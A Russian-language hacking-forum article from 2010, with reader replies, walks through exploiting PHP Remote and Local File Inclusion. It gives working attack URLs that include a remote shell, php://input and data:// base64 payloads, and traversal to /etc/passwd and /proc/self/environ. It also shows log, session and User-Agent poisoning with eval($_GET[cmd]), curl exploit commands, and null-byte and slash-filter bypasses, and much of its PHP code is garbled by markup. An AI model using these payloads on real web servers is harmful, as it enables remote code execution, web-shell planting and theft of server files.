ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Статьи (https://forum.antichat.xyz/forumdisplay.php?f=30)
-   -   Вся правда о (Local|Remote) File Inclusion (https://forum.antichat.xyz/showthread.php?t=232773)

Expl0ited 30.09.2010 13:33

В этом теме я надеюсь собрать максимально возможную информацию о ( Local | Remote ) File Inclusion, и описать принцип работы более доступно для широких масс.

Для понимания о чем пойдет речь ниже, необходимо знать основу PHP и работу функций отвечающих за подключение файлов, а так же архитектуру каталогов в *nix системах, ну и наверное смекалку.

Начнем с того, что File Inclusion делится на две основные ветви.
  1. Remote File Inclusion.
  2. Local File Inclusion.
Основосоставляющая у них одна, это недостаточная фильтрация переменной (читать как беспантовая фильтрация, на смом деле, очень плахая фильтрация), которая используется в функциях отвечающих за подключения файлов (например функцииinclude(), require()), разница лишь в том, что в случае Remote File Inclusion эта переменная одна или стоит на первом месте (с лева на право) в вызове функции и в настройках PHP включены allow_url_fopen и allow_url_include, а Local File Inclusion это вообще присутствие той же самой переменной в функции отвечающий за подключение файла, в любом месте и отключенные allow_url_fopen и allow_url_include соответственно.

Получается, представим например такой код:

PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/
COLOR][/COLOR

Казалось бы этому горе кодеру, что юзер будет ходить только по заведомо указанным файлам, но оказалось, что ты не из числа тех юзеров, и твой пытливый ум предположил, что если вместо этих заведомо известных, подставить что-то свое, то...

Впрочем зачем говорить, ты берешь и делаешь: httр://localhost/?переменная=Какая_гадость,_э та_ваша_заливная_рыба!

И вуаля, если принудительно никто не отключил сообщения об ошибках, то ты увидишь нечто похожее:

Код:

Warning: include(Какая_гадость,_эта_ваша_заливная_рыба!) [function.include]: failed to open stream: No such file or directory in /home/www/index.php on line 2

Warning: include() [function.include]: Failed opening '(Какая_гадость,_эта_ваша_заливная_рыба!' for inclusion (include_path='.;/etc/php/pear/') in /home/www/index.php on line 2

Если вывод ошибок все таки отключен, то это печально и ты ничего не увидишь (или же в зависимости от ситуации в боевых условиях, какой-нибудь редирект или алерт). Воот.

Теперь ты имеешь полноценный Remote File Inclusion, если настройки PHP удовлетворительно положительны (смотреть выше), то записав в переменную ссылку на свой шелл, ты получишь полноценный шелл, т.е.:

httр://localhost/?переменная=http://сайт_где_у_нас.шелл/ну_и_сам.шелл

Как ты уже наверное догадался, после передачи переменной 'переменная', определенным методом (в данном случае GET), в код, код принимает такой вид:

PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/
COLOR][/COLOR

со всеми вытекающими последствиями.

Ну а уж если настройки этого самого PHP очень скучны своими Offами, то ты имеешь дело с Local File Inclusion, впрочем обо всем подробнее ниже.

Remote File Inclusion


Remote File Inclusion - это подключение произвольного файла из внешнего сервера в работу уязвимого файла. Для эксплуатации необходимы два условия в настройках php.ini:

Цитата:

Сообщение от None
allow_url_fopen = On
allow_url_include = On

Ты заходишь на сайт, а там такой код:

PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/
COLOR][/COLOR

Эксплуатация проста до невозможности: httр://localhost/?page=http://yourhost/shell.txt

Хотя это уже было... и ты сообщил всё горе-кодеру.

Не долго подумав, он решил, что если в скрипте используется подключение файла с явным (так сказать навязанным) расширением , то его никто не взламает!

PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/
COLOR][/COLOR

Не тут-то было, обход довольно элегантен, ты просто обрезаешь всё знаком вопроса ( ? ) заставив интерпретатор думать, что всё что идет после знака вопроса это переменные: httр://localhost/?page=http://yourhost/shell.txt? и опять сообщаешь кодеру.

Тот в полном негодовании о произошедшем в злости и с маленькими нервно-бегающими глазами, решил нахрен фильтровать протоколы HTTP и HTTPS полученные в переменных от пользователей:

PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]страниц'[/COLOR][COLOR="#007700"];die(); }

if([/COLOR][COLOR="#0000BB"]$check[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]'
http'[/COLOR][COLOR="#007700"]&&[/COLOR][COLOR="#0000BB"]$check[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]'https'[/COLOR][COLOR="#007700"]) {

include([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'
page'[/COLOR][COLOR="#007700"]]);

} else die([/COLOR][COLOR="#DD0000"]'
Хакед дектед, уи-у-уи-у-уи-у'[/COLOR][COLOR="#007700"]);

...

[/COLOR][COLOR="#0000BB"]?>

[/COLOR][/COLOR] 

Но не унывая и напрягаясь, ты вспоминаешь, что если фильтруются только два протокола HTTP и HTTPS, то можно использовать третий: FTP, с которым PHP так же работает: httр://localhost/?page=ftp://user:рass@yourhost/shell.txt и с ухмылкой на лице, отправляешь очередной баг кодеру.

Горе-кодер, уже от беспомощности и непонимании происходящего, отфильтровал ВСЕ протоколы:

PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]страниц'[/COLOR][COLOR="#007700"];die(); }

if([/COLOR][COLOR="#0000BB"]$check[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]'
http'[/COLOR][COLOR="#007700"]&&[/COLOR][COLOR="#0000BB"]$check[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]'https'[/COLOR][COLOR="#007700"]&&[/COLOR][COLOR="#0000BB"]$check[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]'ftp'[/COLOR][COLOR="#007700"]) {

include([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'
page'[/COLOR][COLOR="#007700"]]);

} else die([/COLOR][COLOR="#DD0000"]'
Хакед дектед, уи-у-уи-у-уи-у'[/COLOR][COLOR="#007700"]);

...

[/COLOR][COLOR="#0000BB"]?>

[/COLOR][/COLOR] 

Ну что ж, тут тебе на помощь придут потоки.

А кто это сделал? составляешь пакет и не медля ни минуты, отправляешь

Цитата:

Сообщение от None
POST httр://localhost/?page=
php://input
HTTP/1.1
Host: localhost
Content-length: 18


и о чудо, в ответ ты видишь результат выполнения функции phpinfo() из которой ты берешь например пути до скрипта который собственно и вызвал эту функцию. Дальше формируешь и отправляешь еще один пакет, но уже с функцией "ЗАЛИТЬ ШЕЛЛ НЕМЕДЛЕННО!!1", а именно , и если хватает прав на запись, то всё шелл тут httр://localhost/придумай_имя_файла.php, если не хватает, то что уж, нет так нет (читать как EPIC FAIL), ведь всегда можно залиться во временную папку /tmp и подключить шелл оттуда.

После проделанных телодвижений, тебя осенило! Ведь еще можно же заюзать URL-схему: data (перевод)

Выглядит это примерно так:

Код:

data:[][;charset=][;base64],
А на деле можно использовать так: http://localhost/?page=data:,

Но если неугомонный кодер, очень жестко фильтрует полученные данные на всякие символы, то можно перевести всё в кодироку base64, а всякие плюсики и ровняшки (если такие будут) еще и в URL закодировать: httр://localhost/?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA%2FPg%3D%3D (хотя можно и подобрать без фильтруемых символов).

Ты сообщил о найденых багах горе-кодеру, и пошел спать. Проснувшись утром, и зайдя снова на этот сайт, ты понимаешь, что всё, на этом и заканчиваются возможности Remote File Inclusion. Что теперь делать?

Local File Inclusion


Local File Inclusion - это подключение произвольного файла расположенного на локальном (читать как атакуемом) сервере в работу уязвимого.

Проснувшись утром, и зайдя снова на этот сайт, ты видишь(ты же наверняка нашел файл test.php, который содержит phpinfo(), давно забытый в корне сайта), что кодер, обезопасил себя, отключив allow_url_include в настройках PHP, мало того, он изменил код, указав в функции подключения файла полный путь до каталога вызываемого скрипта:

PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/
COLOR][/COLOR

Понеслась конитель. Теперь тебе нужно сориентироваться на сервере, ты естественно знаешь, что сочетание двух точек ( .. ), обозначает подняться вверх на один каталог, а слэш ( / ), собственно сам каталог, т.е. если в командной строке выполнить команду cd .. ты поднимешься на один каталог вверх, если cd ../.. ты поднимешься на два каталога вверх, и т.д. Так как, теперь в коде, функция подключения файла сначала полностью открывает путь /home/www/, а затем указанный файл, то что бы открыть файл находящийся в другой директории, тебе нужно, выйти из текущего каталога: httр://localhost/?page=../../../полный/путь/до/нужного/файла.

Здесь тебе пригодиться любой файл, который тебе пригодится (тавтология же), а именно:[LIST][*]не нарушающий синтаксис PHP кода. (содержащий в себе подобие , кодируешь всё в url, составляешь и отправляешь пакет:

Цитата:

Сообщение от None
POST
httр://localhost/
epicfaaaaaail.php?%3C%3Fphp+eval%28%24_GET%5Bcmd%5 D%29%3F%3E
HTTP/1.1
Host: localhost

А кто? Кто это сделал? Сервер, приняв и обработав запрос, выдает 404 ошибку (о несуществующей страницы epicfaaaaaail.php), и записал это в error_log, выглядеть на сервере это стало так:

Код:

127.0.0.1 - [29/Sep/2010:13:55:36 -0700] "GET /epicfaaaaaail.php? HTTP/1.1" 404 2326
т.е. получается, обратившись к этому логу, PHP интерпретатор обработает всё до как обычный текст, а значит всё, шелл есть. Ты обращаешься к error_log: httр://localhost/?page=../../../etc/httpd/log/error_log&cmd=phpinfo();die(); и ничуть не удивившись видишь результат выполнения phpinfo().

Думаю с логами веб-сервера проблем не должно возникнуть, так как их работа очевидна, запись всех ошибок возникших во время работы (error_log) и запись вообще всех действий пользователей (access_log), кстати в связи с тем что access_log записывает всё, что только можно, его размеры порой ужасают. А если работа очевидна, то и ход действий понятен, а если ход действий понятен, тогда, записываем то, что нужно, так как получится, подключаем и заливаемся.

НО! Но не всё так просто как казалось бы, ведь горе-кодер, оказался еще и администратором сервера, по этому он очень надежно спрятал логи, от пытливых твоих глаз. Ну не знал он, ну правда не знал о системном каталоге /proc, в котором лежат директории символизирующие запущенные процессы, в которых лежат файлы с информацией о процессе, и тем более о символической ссылке self, которая символически так ссылается на текущий процесс, а текущий процесс, у нас запустил кто? Правильно ты, из под пользователя apache, а ведь запись логов, это тоже процесс, исходя из этой логике ты понимаешь, что искать логи безнадежно и можно получить доступ к ним напрямую, и тут же вспоминаешь цитату из статьи M4Gа :

Цитата:

Сообщение от None
1. Через id процесса и ярлыки
/proc/%{PID}/fd/%{FD_ID}
Здесь: %{PID} - ид процесса (узнать можно, прочитав /proc/self/status), %{FD_ID} - ярлыки на соответствующие файлы (обычно 2 и 7 - логи апача).
Пример:
http://site.com/index.php?page=../../../../../../../../proc/self/status
Допустим, %{PID} равен 1228, тогда конечный эксплойт будет выглядеть следующим образом:
curl
"http://site.com/index.php?page=../../../../../../../../proc/1228/fd/2&cmd=phpinfo();"
-H "User-Agent: "
2. Напрямую, без узнавания id процесса
curl
"http://site.com/index.php?page=../../../../../../../../proc/self/fd/2&cmd=phpinfo();"
-H "User-Agent: "
Этот способ более приемлем для тебя, так как "self" - это всегда текущий процесс, а в первом случае %{PID} имеет дурное свойство очень часто меняться. В обоих перечисленных способах, как и в любом другом LFI логов апача, эти самые логи, естественно, должны быть доступны для чтения.

Ты же понимаешь, что /proc/self/status, часто бесполезен, из-за того что процессы бывают динамические и меняют свой PID, каждый раз при запуске процесса, по этому ты отбрасываешь первую часть, и пытаешься получить доступ к логам на прямую /proc/self/fd/{N} - где {N} это имя ярлыка, и ты понимаешь, что обычно не значит везде, и перебираешь от 1 до 15. Настройки такие настройки, индивидуальные.

Удача не улыбается. Но ты не унываешь, ведь есть еще ярлык cmdline, который отвечает за информацию о запуске процесса: httр://localhost/?page=../../../proc/self/cmdline

Цитата:

Сообщение от None
/usr/sbin/httpd-d/usr/lib/httpd/etc/httpd/conf/httpd.conf-kstart

И видишь, что конфиг веб-сервера, находится тут: /etc/httpd/conf/httpd.conf, который щедро одарит тебя путями до логов.

Файлы содержащие переменные окружения.

Просмотрев весь список процессов, и не найдя логи, ты естественно не унываешь, ведь у тебя еще куча методов, и ты вспоминаешь про файлы содержащие переменные окружения, глупо конечно называть один файл, во множественном числе, но он один, и это environ, который так же находится в каталоге с процессами /proc/self. Он содержит в себе информацию о среде который запустил процесс, а именно в твоем случае, это информация о твоём браузере. Недолго думая ты открываешь: httр://localhost/?page=../../../proc/self/environ и видишь:

Код:

SERVER_SIGNATURE=
UNIQUE_ID=TKQvDFuVnSoAAAmXQA4AAAB3
HTTP_USER_AGENT=Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3
SERVER_PORT=80
HTTP_HOST=localhost
REDIRECT_HANDLER=application/x-httpd-php5
DOCUMENT_ROOT=/home/www
HTTP_ACCEPT_CHARSET=windows-1251,utf-8;q=0.7,*;q=0.3
SCRIPT_FILENAME=/usr/local/cpanel/cgi-sys/php5
REQUEST_URI=/index.php?page=../../../proc/self/environ
SCRIPT_NAME=/cgi-sys/php5
HTTP_CONNECTION=keep-alive
PH_INFO=/index.php
REMOTE_PORT=42814
PATH=/usr/local/bin:/usr/bin:/bin
PWD=/usr/local/cpanel/cgi-sys
SERVER_ADMIN=admin@localhost
EDIRECT_STATUS=200
REDIRECT_QUERY_STRING=page=../../../proc/self/environ
HTTP_ACCEPT_LANGUAGE=ru-RU,ru;q=0.8,enS;q=0.6,en;q=0.4
PATH_TRANSLATED=/home/www/index.php
HTTP_ACCEPT=application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
REMOTE_ADDR=127.0.0.1
SHLVL=
0SERVER_NAME=localhost
SERVER_SOFTWARE=Apache
QUERY_STNG=page=../../../proc/self/environ
SERVER_ADDR=127.0.0.1
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
HTTP_ACCEPT_ENCODING=gzip,deflate,sdch
REDIRECT_URL=/index.php
REQUEST_METHOD=GET

Из этих данных ты можешь управлять всем тем, что твой браузер отправляет на сервер, а значит, ты можешь записать и выполнить свой код. Что же тянуть, ты составляешь запрос и отправляешь его:

Цитата:

Сообщение от None
POST
httр://localhost/?page=
../../../proc/self/environ
HTTP/1.1
User-Agent:

Host: localhost

И опять успешно, ведь сервер схавал и переварил всё, что он получил, получается, что сначала создался процесс, и вся информации о среде процесса записалась в файл environ, после чего уязвимый скрипт подключил этот файл, очевидно же.

Файлы сессии.

ТЫСЯЧИ ЧЕРТЕЙ! Не один из способов не сработал до сих пор, логи ты не нашел, на каталог /proc тебе хватило прав. Что делать? Полазив по сайту ты нашел чат (форму авторизации/гостевую/еще что-то), логика его работы примерно такая, ты ввел свое имя, написал несколько сообщений, закрыл окно, после чего, каждый раз как ты туда зайдешь, ты будешь заходить под своим именем, примерный код:

PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR

После ввода имени, PHP запишет введенные данные в файл сессии во временном хранилище (место положении которого можно узнать из phpinfo() директива session.save_path, по дефолту каталог /tmp)

Цитата:

Сообщение от None
name|s:8:"Введенные данные";

и в ответ браузеру отправляет айди сессии в куках (Cookie: PHPSESSID=АЙДИ), за счет чего и проиходит работы.

Ты конечно же вместо именни ввел , это значит что создался файл сессии с таким содержанием:

Цитата:

Сообщение от None
name|s:8:"";

Тебе ничего не осталось, как взять айди этой сессии, и подключить её: httр://localhost/?page=../../../tmp/sess_тут_айди_сессии&cmd=phpinfo();

После проделаной махинации, ты приклеел на холодильник заметку "%username% не забудь, подключать сессии возможно только при условии: session.save_handler = files!".

Загружаемые пользователем файлы.

Здесь ты сразу догадался, вспомнив, что на сайте же есть возможность загружать фотографии своих домашних питомцев. Нагуглив картинку подходящего сайза, скачав и открыв в блакноте, ты записал туда всё тот же шелл , загрузил на сервер, и подключил её: httр://localhost/?page=/папка_с_картинками/твоя.картинка&cmd=phpinfo();

Другие файлы.

Здесь ты не стал заморачиваться, просто вспомнил статью slasha и сделал всё так, как он там рассказал.

Ну вот, казалось бы и всё, ты сделал все свои грязные делишки, о которых в последствии по пьяни рассказал своему другану Васи (который и был тем самым горе кодером).

Васёк, жизнью наученный, решил кардинально побеспокоиться о безопасности, он решил переписать код. Загуглив информацию о Local File Inclusion, он узнал, что если его код будет навязывать расширение:

PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR

То это легко обойдется Null-байтом, который обрежет всё, что после него идет: httр://localhost/?page=../../../etc/passwd%00 и включил magic_quotes_gpc.

Вовремя он заметил, что нашлась альтернатива Null-байту, прочитав статьи тут про саму альтернативу и вот тут, как льтернативу альтернативе Null-байту

Дальше, Васёк, было дело решил вырезать из полученных данных все слэши ( / ):

PHP код:

[COLOR="#000000"][COLOR="#0000BB"]$page[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]preg_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'/..\//'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'page'[/COLOR][COLOR="#007700"]]);

[/
COLOR][/COLOR

Но узнал, что обратный слэш ( \ ), ничуть не хуже замена обычному: httр://localhost/?page=..\..\..\etc\passwd, плюс ко всему увидел много других способов.

В последствии, Васёк написал хорошую фильтрацию входящих переменных. А ты? А ты ищи другие способы, их обхода.

Источники из которых была взята информация, или очень полезные:

1. /thread89082.html

2. http://raz0r.name/articles/null-byte-alternative/

3. http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/

4. http://wiki.apache.org/httpd/DistrosDefaultLayout

5. https://rdot.org/forum/showpost.php?p=6942&postcount=29

6. /thread71902.html

7. http://www.xakep.ru/post/49508/


Очень хотелось бы, если бы в комментариях была не только критика, но и дополнения.

[Feldmarschall] 30.09.2010 23:50

начитался это статьи /thread231827.html ?

что мало этого?

поржать просто, все просто скопипастел в один угол.. "Вся правда о Хакере" прям.. мда, жду от тебя "Вся правда о SQL Injection".. МОА тебя ждет)

з.ы Страшный баянчик..

ficrowns 01.10.2010 01:14

а мне понравилось, спасибо автору. удобно

W!z@rD 01.10.2010 07:55

шел бы ты русский язык учить, статьи он "пишет"

b3 01.10.2010 09:44

За старания 5, за албанский 2, за информационность 4-, в итоге на троечку.

shell_c0de 01.10.2010 11:25

а мну нра )

+5 автору , не то что у киберпанка )

DeluxeS 01.10.2010 13:37

Вполне хорошая статья.. 4

0pTik 01.10.2010 16:03

Нормальная статья

попугай 04.10.2010 01:55

Месяц статей о php-инклюдинге на Античате.

moodoone 06.10.2010 00:15

Хорошая статья!


Время: 03:37